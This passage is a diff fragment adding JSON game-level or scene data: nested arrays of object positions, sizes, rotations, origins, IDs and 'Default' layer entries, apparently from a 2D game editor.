+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2818.55126953125,
+ 860.3873901367188,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1140,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2496,
+ 690,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1131,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2325,
+ 692,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1130,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1353,
+ 839,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1116,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1466,
+ 749,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1122,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 592,
+ 337,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1115,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 899,
+ 458,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1114,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 629,
+ 749,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1113,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 889,
+ 933,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1112,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 643,
+ 936,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 1111,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 504,
+ 925,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1108,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 797,
+ 936,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1109,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1075,
+ 929,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1110,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3365,
+ 1179,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1100,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3557,
+ 1282,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1103,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1856,
+ 740,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1096,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1226,
+ 1114,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 1095,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3050.1943359375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1288,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3079.0146484375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1032,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3109.071533203125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1033,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3137.891845703125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1034,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3166.328125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1035,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3195.1484375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1036,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3225.205322265625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1037,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3254.025634765625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1038,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3282.080078125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1039,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3310.900390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1040,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3340.957275390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1041,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3369.777587890625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1042,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3398.2138671875,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1043,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3427.0341796875,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1044,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3457.091064453125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1045,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3485.911376953125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1046,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3514.720947265625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1047,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3543.541259765625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1048,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3573.59814453125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1049,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3602.41845703125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1050,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3630.854736328125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1051,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3659.675048828125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1052,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3687.84130859375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1053,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3716.277587890625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1054,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745.097900390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1055,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2589.189208984375,
+ 737.8923950195312,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 939,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2704.106689453125,
+ 826.8309936523438,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 948,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2097.5556640625,
+ 569.8641967773438,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 931,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1608.829345703125,
+ 640.7092895507812,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.4782204627990723,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 929,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1684,
+ 1604,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 906,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -635,
+ 1711,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 803,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1943,
+ 1811,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 1276,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 150,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5334.18359375,
+ 574.0819091796875,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 922,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5334.184,600",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5336.18359375,
+ 590.0819091796875,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 923,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5337.18359375,
+ 244.0818786621094,
+ 0,
+ 13,
+ 804,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 946,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5771,
+ 867,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1124,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6271,
+ 867,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1125,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -911,
+ 1305,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 910,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -638,
+ 1437,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 908,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5813,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 884,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5972,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 885,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6126,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 886,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 787,
+ 1507,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 891,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -505,
+ 968,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 924,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 925,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 926,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 927,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 928,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 930,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 940,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 941,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 174,
+ 734,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 942,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 171,
+ 734,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 943,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 173,
+ 709,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 944,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 172.3698120117188,
+ 708.1089477539062,
+ 0,
+ 58.52174377441406,
+ 48.2178955078125,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 945,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 947,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 950,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2985,
+ 1159,
+ 0,
+ 6106,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 958,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1908,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
